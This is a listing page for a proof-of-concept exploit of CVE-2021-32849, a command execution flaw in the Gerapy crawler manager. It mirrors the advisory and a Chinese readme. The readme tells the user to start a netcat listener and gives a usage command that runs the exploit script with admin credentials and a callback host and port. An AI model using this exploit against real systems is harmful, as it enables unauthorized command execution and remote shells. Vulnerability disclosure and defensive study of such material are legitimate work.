CVE-2021-32849 PoC — Arbitrary command execution in Gerapy

Source

https://github.com/lowkey0808/cve-2021-32849

Associated Vulnerability

Title:Arbitrary command execution in Gerapy (CVE-2021-32849)
Description:Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds.

Description

cve-2021-32849(gerapy命令执行)

Readme

# cve-2021-32849
cve-2021-32849(gerapy命令执行)

# 使用方式
先开启一个nc进行监听，再用exp去打
```
python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id
```
![图片](https://user-images.githubusercontent.com/49674960/165035254-0a9f5f92-101a-476b-ab1d-1ae1024a4eac.png)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!